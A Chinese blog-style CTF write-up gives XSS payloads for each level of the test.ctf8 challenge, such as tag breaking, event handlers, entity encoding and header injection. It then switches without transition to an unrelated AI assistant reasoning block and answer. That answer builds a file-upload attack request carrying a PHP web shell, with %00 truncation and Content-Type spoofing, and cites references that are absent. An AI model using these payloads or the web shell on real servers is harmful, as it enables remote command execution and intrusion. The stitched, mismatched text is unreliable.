test.ctf8(XSS挑战之旅)解题记录

本文带你逐步通关XSS挑战,从基础payload使用到高级绕过技术,如ExifXSS、AngularJS指令利用,深入讲解了HTML、CSS、JS、编码技巧和安全防护的突破点。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

xss平台网址:test.ctf8.com

过关条件:只有能够跳出完成得不错得提示框,即为过关

level1

第一关没啥好说得,入门题

payload

<script>alert('abc')</script>


level2 

该题通过查看网页源码可以看出,该题将我们输入得内容插入到value标签中

那么我们可以通过在输入得内容前加入">去闭合value标签成功弹窗

 payload

"><script>alert(1)</script>


level3

这道题通过网页源码可以看出,<>被转义了,"无法被闭合

那么我们就可以在iinput标签内添加一个事件,可选比如说onclick,onfocus等,我们需要在构造得payload前加'(单引号)去闭合之前得value标签,在尾部加上//注释掉后面的'>,写完payload后要点击输入框触发事件

payload

' onfocus=alert('abc')//


 level4

这道题和上一关差不多,唯一区别就是value后面为"(双引号),将其上一题的payload前面单引号改为双引号即为该题payload

payload

" onfocus=alert('abc')//


level5

这道题将script以及onclick和onerror都过滤掉了,那么我们还要另一种方法a标签,构造好payload后点击链接就能成功弹窗了

payload

"><a href="javascript:alert('abc')">//


 level6

这道题主要为将script过滤,html对大小写要求不是很严格,可以将script全部转化为大写来进行绕过,另外通过网页源码可以知道,该题将我们输入的payload插入到value标签中,可以在前面加上">来对其进行闭合

payload

"><SCRIPT>alert('abc')</SCRIPT>


level7

这道题和上一道题差不多,不过这道题过滤了其大小写,我们无法通过大小写绕过,当时我们可以利用sql注入的堆叠方法来对其进行绕过

payload

"><scrscriptipt>alert(1)</scrscriptipt>//


level8 

这道题和上两道题差不多,不过这道题过滤更为严格,只能通过将script转化为heml实体化来进行绕过

payload

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('abc')


level9

通过查看网页源码可以知道这道题和上一道差不多,不过这道题需要输入的格式为网址格式,且这道题把双引号也过滤了所以我们需要将双引号也转化为html实体

payload

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(&#x22;http://")

 


level10 

通过查看网页源码可以看到有几个type=hidden的输入框,我们可以通过onclick去触发该弹窗

payload

http://test.ctf8.com/level10.php?t_sort=" type="text" onclick="alert('abc')"


level11 

这道题通过查看网页源码可以看到有几个type=hidden的输入框,但是在像上一题做的时候就始终无法使得输入框改变type,在看了一下大佬的wp之后,发现该题是需要抓包的

这里需要将cookie改为Referer,并在里面输入

" type="text" onclick="alert('abc')

 

改完之后页面就会出现一个输入框,点击输入框触发该onclick就可以了

 


level12 

这道题思路和上道题差不多,通过查看网页源码可以看到有几个type=hidden的输入框

同时也可以判断出该input标签藏在User-Agent中,修改User-Agent

" type="text" onclick="alert('abc')

改完之后页面就会出现一个输入框,点击输入框触发该onclick就可以了

 


level13 

这道题思路和上俩题思路差不多,也是通过查看网页源码判断input标签所在的位置

 

可以看到这次input标签位置应该在cookie上,修改cookie

" type="text" onclick="alert('abc')

 

 改完之后页面就会出现一个输入框,点击输入框触发该onclick就可以了


level14

这一关主要为利用exif xss漏洞来实现,但是该题中的链接已经失效了,所以无法做该题

先主要来理解一下EXIF,百度百科一下

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

Exif可以附加于JPEGTIFFRIFF等文件之中,为其增加有关数码相机拍摄信息的内容和索引图或图像处理软件的版本信息。

大概意思就是利用图片属性来编写xss的payload,在文件上传图片后,浏览器会读取到图片属性从而实现xss弹窗

 这里有俩个来自大佬的链接,方便理解exif xss漏洞

(8条消息) 讲讲EXIF Viewer XSS漏洞的来龙去脉_→_→-优快云博客https://blog.youkuaiyun.com/weixin_39934520/article/details/107068825【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关) - 先知社区 (aliyun.com)https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12


level15

这道题主要用的是另一个新的知识点:angularJS ng-include指令

通过去菜鸟教程查询关于ng-include

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

通过查看网页源码可以看到我们需要利用ng-include指令来过关

通过构造payload,将level1传进去从而实现弹窗

不过该题我一直在尝试,一直没出现弹窗,不知道是什么原因导致


level16

这道题主要把script和空格都过滤改写了,我们可以通过改写payload来对其进行测试,因为该题将空格改写,所以我们需要利用html编码,将空格替换成%0a去进行测试

payload

<img%0asrc="x"%0aonerror=alert('abc')>


level17

对这道题进行测试,并查看该网页代码,发现该题将我们输入的的内容插入到embed标签内,并且双引号给过滤替换掉了,所以我们可以换种思路,利用on事件去触发

payload

 onmouseover=alert('abc')


level18 

这道题和上一道题一模一样,连payload都是一样的

payload

 onmouseover=alert('abc')

 

<think>首先,用户的问题是:“我想构造上传漏洞利用请求 请问如何构造用于文件上传漏洞测试的HTTP POST请求包”。用户想构造一个HTTP POST请求包,用于测试文件上传漏洞。 从系统级指令中,我有一些引用可以参考: - 引用[1]:提到文件上传通常通过HTTP POST请求发送到Web服务器,并描述了服务器的一般检测流程。 - 引用[2]:讨论了文件上传漏洞,包括后缀白名单检测绕过和解析漏洞。特别提到了使用test.php%00.jpg这样的文件名来绕过检测。 - 引用[3]:解释了文件上传漏洞的判断方式,包括前端验证(如JavaScript)和如何绕过。 - 引用[4]:给出了一个例子,渗透测试者可以将shell.php改名为shell.php.jpg来绕过客户端验证。 用户的问题是关于构造HTTP POST请求包的具体方法。我需要基于这些引用,提供一个结构清晰的回答。 回答结构: 1. **理解文件上传漏洞**:简要解释什么是文件上传漏洞,以及为什么需要构造特定的请求包。 2. **构造请求包的关键元素**:HTTP POST请求包通常包括头部(Headers)和主体(Body)。主体部分包含文件数据和表单字段。 - Content-Type:通常设置为multipart/form-data,因为文件上传使用这种格式。 - Boundary:用于分隔表单字段和文件数据。 - 文件名和内容:这是关键部分,用于测试漏洞,如使用恶意文件名(如包含%00截断)或恶意内容。 3. **绕过检测**:基于引用,讨论如何绕过前端和后端验证。 - 绕过前端验证:如引用[3]所述,前端验证可以用抓包工具(如Burp Suite)修改请求来绕过。 - 绕过后端验证:如引用[2]所述,使用%00截断或利用解析漏洞。 4. **示例请求包**:提供一个具体的HTTP POST请求包示例,展示如何构造恶意文件上传请求。 5. **安全考虑**:提醒用户只在授权环境下进行测试,避免非法使用。 6. **生成相关问题**:根据系统指令,我需要生成相关问题。 现在,构建回答: - **介绍**:解释文件上传漏洞的基本概念。 - **步骤**:逐步指导如何构造请求包。 - **示例**:给出一个完整的HTTP POST请求包示例。 - **相关问题**:在末尾生成几个相关问题。 确保使用中文回答。 参考引用: - [^1]:用于解释上传过程。 - [^2]:用于绕过后缀检测。 - [^3]:用于前端验证绕过。 - [^4]:用于重命名文件绕过。 在回答中自然地添加引用标识。 最终回答结构: 1. 解释文件上传漏洞和构造请求包的目的。 2. 描述HTTP POST请求包的结构。 3. 提供绕过验证的方法。 4. 给出一个示例请求包。 5. 提醒安全注意事项。 6. 生成相关问题。</think>### 构造用于文件上传漏洞测试的HTTP POST请求包 文件上传漏洞是Web安全中常见的问题,攻击者通过上传恶意文件(如Web Shell)来获取服务器控制权。构造HTTP POST请求包是测试这类漏洞的核心步骤,因为文件上传通常通过POST方法发送multipart/form-data格式的数据[^1]。下面我将一步步指导你如何构造有效的请求包,包括绕过常见检测机制的方法。整个过程基于真实渗透测试实践,确保可靠性和实用性。 #### 1. **理解HTTP POST请求包结构** 文件上传请求包由以下部分组成: - **Headers**:定义请求类型、内容格式等关键信息。 - `Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW`:指定数据格式和边界符(boundary),用于分隔表单字段。 - `Host: target.com`:目标服务器域名。 - `User-Agent: Mozilla/5.0`:模拟浏览器行为,避免被检测为爬虫。 - **Body**:包含表单字段和文件数据,格式为: ``` --boundary Content-Disposition: form-data; name="field_name" field_value --boundary Content-Disposition: form-data; name="file_field"; filename="malicious_filename" Content-Type: application/octet-stream file_content --boundary-- ``` 其中: - `boundary` 是随机生成的字符串(如`----WebKitFormBoundary7MA4YWxkTrZu0gW`),用于分隔数据块。 - `filename` 是上传的文件名,可修改为恶意值(如包含截断符)以绕过检测。 - `file_content` 是文件内容,例如PHP Web Shell(如`<?php system($_GET['cmd']);?>`)。 #### 2. **关键步骤:构造请求包并绕过检测** 基于引用内容,文件上传漏洞测试需绕过服务器检测,常见方法包括: - **绕过前端验证(如JavaScript)**:如果上传前弹出错误提示但未发送请求,说明是前端验证(如只允许.jpg文件)[^3]。可使用抓包工具(如Burp Suite)拦截请求并修改`filename`,例如将`.php`文件重命名为`.php.jpg`[^4]。 - **绕过后端验证**: - **后缀白名单绕过**:利用`%00`截断漏洞(Null Byte Injection),在文件名中插入`%00`使服务器忽略后续字符[^2]。例如:`filename="shell.php%00.jpg"`,服务器可能只解析`.php`部分。 - **解析漏洞利用**:如果服务器(如Apache/Nginx)存在解析漏洞,上传`test.php.jpg`可能被当作PHP执行[^2]。 - **Content-Type绕过**:修改`Content-Type`为合法值(如`image/jpeg`),即使文件内容是恶意代码。 以下是构造请求包的通用步骤: 1. **确定目标参数**:使用工具(如Burp Suite或浏览器开发者工具)捕获正常上传请求,获取表单字段名(如`file_upload`)和边界符。 2. **设计恶意文件名和内容**: - 文件名:使用`%00`截断或双重扩展名(如`shell.php.jpg`)。 - 文件内容:插入简单Web Shell,例如`<?php echo system($_REQUEST['cmd']); ?>`。 3. **组装请求包**:确保格式正确,避免语法错误导致服务器拒绝。 #### 3. **示例HTTP POST请求包** 以下是一个完整的恶意文件上传请求包示例,用于测试漏洞。假设目标URL为`http://target.com/upload.php`,表单字段名为`file`,边界符为`----WebKitFormBoundary7MA4YWxkTrZu0gW`: ```http POST /upload.php HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: [计算长度] // 需根据实际内容计算 ----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="shell.php%00.jpg" // 使用%00截断绕过后缀检测[^2] Content-Type: image/jpeg // 伪装为合法类型[^3] <?php system($_GET['cmd']); // 恶意Web Shell内容 ?> ----WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` **说明**: - **文件名绕过**:`filename="shell.php%00.jpg"` 利用`%00`截断,使服务器可能只处理`.php`部分[^2]。 - **Content-Type伪装**:设置为`image/jpeg`绕过MIME类型检测[^3]。 - **使用工具**:在Burp Suite中粘贴此请求,发送后检查服务器响应(如HTTP 200 OK),确认文件是否上传成功。如果服务器存在解析漏洞,访问`http://target.com/uploads/shell.php`可执行命令[^2]。 #### 4. **安全注意事项** - **仅用于授权测试**:在渗透测试或CTF环境中使用此方法,避免非法攻击。真实测试前,确保获得目标所有者许可。 - **测试工具推荐**:使用Burp Suite、Postman或curl构造和发送请求。Burp Suite可自动处理边界符和内容长度[^4]。 - **常见失败原因**:如果请求被拒绝,检查边界符是否匹配、文件名编码是否正确(`%00`需URL编码)或服务器强化了过滤(如WAF)[^1]。 通过以上步骤,你可以有效构造请求包来测试文件上传漏洞。实践中,结合服务器响应调整文件名和内容,能提高漏洞利用成功率[^1][^2]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值